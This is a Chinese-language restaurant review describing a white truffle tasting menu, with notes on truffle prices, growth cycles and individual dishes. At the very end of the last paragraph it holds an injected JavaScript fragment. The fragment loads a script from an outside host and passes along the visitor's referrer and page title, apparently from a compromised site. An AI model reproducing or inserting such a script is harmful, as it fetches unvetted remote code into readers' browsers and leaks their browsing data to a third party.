相較於黑松露、白蘆筍的獨特性，只有短短兩個多月賞味期的義大利阿爾巴白松露品種更顯得絕品而彌足珍貴。正因為白松露的稀有性，每年白松露身價更是水漲船高，口袋不夠深，恐怕只能聞香。去年每公斤喊價才17萬多，今年已躍升為每公斤25萬元的行情之譜。
為何白松露有此奇貨可居的好行情？其來有自，絕大部分的松露是無法進行人工培育。也無法進行光合作用製造生長所需的碳水化合物，唯有通過共生樹種的根部獲得營養，而這些樹木也能通過根部吸收松露自土壤，吸收到的水分和礦物質。
只有種下可以渲染入松露菌孢的橡樹、松樹或者櫟樹，然後耐心地等待，少則5年、多則10年，才能有所斬獲。且松露生長過程中有太多的不可預測的因素，從雨水、土壤、礦物質、共生樹種、土壤的酸鹼值，稍微一有改變也無法培育出松露。
松露的生長周期只有1年。每年的松露採收季節大概在3月末，過熟的松露腐爛解體，釋放出孢子開始發芽長成菌絲體，接觸到橡樹鬚根后產生共生關係。大約到5月時，菌絲變大進行有性生殖，長成松露。剛形成的小松露成長緩慢，8月雨季時才會開始快速成長。等到寒風吹來，松露停止生長開始成熟，釋放出獨特的香味。松露的成熟期通常在每年的11月到次年的3月，通常最好的季節是在12月到次年的3月之間。若非我和北投三二行館的行政總廚JIMMY交情夠深，恐怕也訂不到位置賞味。
剛從美國紐約遍嚐26顆米其林星級美食賦歸的JIMMY，將剛剛問世的白松露饗宴進行了前所未有的創藝發想。首先，JIMMY巧思以松露豆腐作為味蕾奏鳴曲。裏頭用黑松露和上分子料理技術的凝膠呈現，再搭配馬糞海膽、烘乾的金針菇碎，令人嘗鮮。
另一道南瓜鴨肝餃又是美味吸睛大法，有別於時下做成義大利餃狀，改以夾心餅乾方式交疊，麵皮以南瓜，一層以鴨肝，再最讓人驚豔的莫過於以連鴨帶皮肉襯上馬芝卡邦起司裹上調味，再削下多片白松露，那味覺多瑙河的滋味，完全超脫一般的鮮活體驗。
選用出海磯釣野生海鮸魚，海鮸魚又稱米魚。形似鱸魚。質細綿密，斜切為薄片後層疊形塑，透過清蒸保留海鮸魚鮮甜甘味，底層淋上白松露醬汁，輕嚐幾口清新鮮美之魚肉原味，蘸取白松露醬汁使其吸附魚肉之上，濃郁香氣瞬間滲透其中，再以多樣中西季節MIX & MATCH時蔬－西芹、過貓、筊白筍、美生菜等綴飾，喚醒味蕾之美好記憶。
而主菜裏的西班牙伊比利豬肉雙品是我的最愛。JIMMY極富巧手的把伊比利松阪部位裹上白玉香脂淋上肉汁；另一塊伊比利老饕肉以炭烤模式，襯上低溫烘烤的花椰菜入味，再搭配上白松露薄片，應該很難不讓人愛上他。s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;